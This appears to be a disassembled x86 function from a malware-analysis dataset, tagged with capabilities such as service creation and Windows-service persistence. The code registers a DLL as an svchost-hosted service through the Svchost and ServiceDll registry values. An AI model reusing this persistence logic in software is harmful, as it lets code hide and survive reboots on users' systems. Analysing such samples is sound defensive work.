Function at 0x100030d0
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x634
mov eax, dword [0x100221c0]
xor eax, esp
mov dword [esp + 0x630], eax
push ebp
push esi
push edi
xor ebp, ebp
push 0x206
mov esi, ecx
lea ecx, [esp + 0x43a]
mov edi, edx
xor eax, eax
push ebp
push ecx
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebp
mov word [esp + 0x440], ax
call fcn.1000d630
add esp, 0xc
cmp esi, ebp
je 0x100033cd
cmp edi, ebp
je 0x100033cd
lea edx, [esp + 0x18]
push edx
push 0xf003f
push ebp
push str.SoftwareMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100033ab
push ebx
push 0x206
lea ecx, [esp + 0x236]
push ebp
push ecx
mov word [esp + 0x23c], ax
call fcn.1000d630
add esp, 0xc
push 0x104
lea edx, [esp + 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x206
lea ecx, [esp + 0x2e]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x34], ax
call fcn.1000d630
push esi
lea edx, [esp + 0x240]
push edx
push str._s_svchost.exe__k__s
mov ecx, 0x104
lea ebx, [esp + 0x40]
call fcn.100024a0
mov eax, esi
add esp, 0x18
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x100031c1
mov ecx, dword [esp + 0x1c]
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push esi
push 7
push ebp
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10003383
push 0xf003f
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [esp + 0x24], ebx
cmp ebx, ebp
je 0x10003379
push ebp
push ebp
push ebp
push ebp
push ebp
lea edx, [esp + 0x3c]
push edx
push 1
push 2
push 0x10
push 0xf01ff
push ebp
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edi, eax
cmp edi, ebp
jne 0x100032b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp eax, 0x431
jne 0x1000325a
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebp
jne 0x10003293
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x630]
xor ecx, esp
call fcn.1000c28b
add esp, 0x634
ret
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x40]
push eax
push 1
push 2
push 0x10
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
jne 0x100032b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
push esi
push 0x1001edb0
push 0x1001f0a4
mov ecx, 0x104
lea ebx, [esp + 0x444]
call fcn.100024a0
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
add esp, 0xc
push ebp
lea ecx, [esp + 0x1c]
push ecx
push ebp
push 0xf003f
push ebp
push ebp
push ebp
mov edx, ebx
push edx
push 0x80000002
call esi
test eax, eax
jne 0x10003369
mov ecx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x18]
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.Parameters
push ecx
call esi
test eax, eax
jne 0x1000335e
mov esi, dword [esp + 0x20]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x10003323
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x14]
push edx
push esi
push 2
push ebp
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10003353
mov dword [esp + 0x10], ebp
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [esp + 0x24]
jmp 0x10003264
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x630]
xor ecx, esp
call fcn.1000c28b
add esp, 0x634
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov dword [esp + 4], eax
pop ebp
mov ecx, dword [esp + 0x630]
xor ecx, esp
call fcn.1000c28b
add esp, 0x634
ret
mov ecx, dword [esp + 0x63c]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 0x57
call fcn.1000c28b
add esp, 0x634
ret